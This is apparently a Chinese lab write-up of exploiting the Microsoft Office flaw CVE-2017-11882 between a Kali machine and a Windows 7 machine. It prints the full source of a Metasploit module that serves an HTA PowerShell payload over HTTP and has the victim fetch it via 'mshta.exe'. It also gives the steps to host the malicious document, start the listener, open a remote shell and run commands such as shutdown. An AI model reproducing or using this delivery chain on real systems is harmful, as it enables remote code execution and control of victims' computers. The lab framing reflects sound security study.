1.制造条件
这里搭建两台虚拟机进行测试!
测试机配置信息:
操做系统
|
Win7_x64 企业版
|
Office版本
|
Office 2013
|
防火墙状态
|
开启 |
IP
|
192.168.1.103
|
系统语言
|
Chinese
|
操做系统
|
Kali 2.1 中文
|
IP
|
192.168.1.104
|
首先在kali下安装nginx,或者tomcat应该也是能够的,首先将生成的doc文件放在/usr/share/nginx/html目录下,方便被攻击的机器获取doc文件。
启动nginx服务:systemctl start nginx
使用
Command43b_CVE-2017-11882.py生成doc文件
# 将下载好的漏洞模块放在msf任意目录下
root@kali:/# mv cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
cve_2017_11882.rb的内容以下:
##
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end
def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end
def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
而后,这里在使用msfconsole以前,须要先打开数据库,例如
service postgresql start
打开数据库以后,进入msfconsole,而后对msf进行初始化,执行msf init
以后search cve_2017_11882搜索漏洞模块,而后按照【参考文章2】进行配置,最后 exploit 以后启动对 8080 端口的监听,至于为何是8080端口我也不太清楚啊!
2.万事俱备,只欠东风
这个时候,只须要在 win7 上经过浏览器的到 cve2.doc文档,打开以后,kali中命令行马上显示已经获取到了链接,
session命令获得回话,session -i 【id】创建链接
shell命令能够获得cmd,执行net user查看用户
3.实验效果
经过这个漏洞,能够肆无忌惮的执行一些命令,例如关机,删除一些文件,收集一些系统信息仍是很是有用的
在桌面新建文件夹
远程关机
虽然获取到了命令行,可是经过net user命令能够看到登陆的用户级别是Guest,这就限制了一些须要权限较高的命令执行!
并且这里win7没有安装杀软,我不知道安装杀软以后word文档会不会被查杀呢?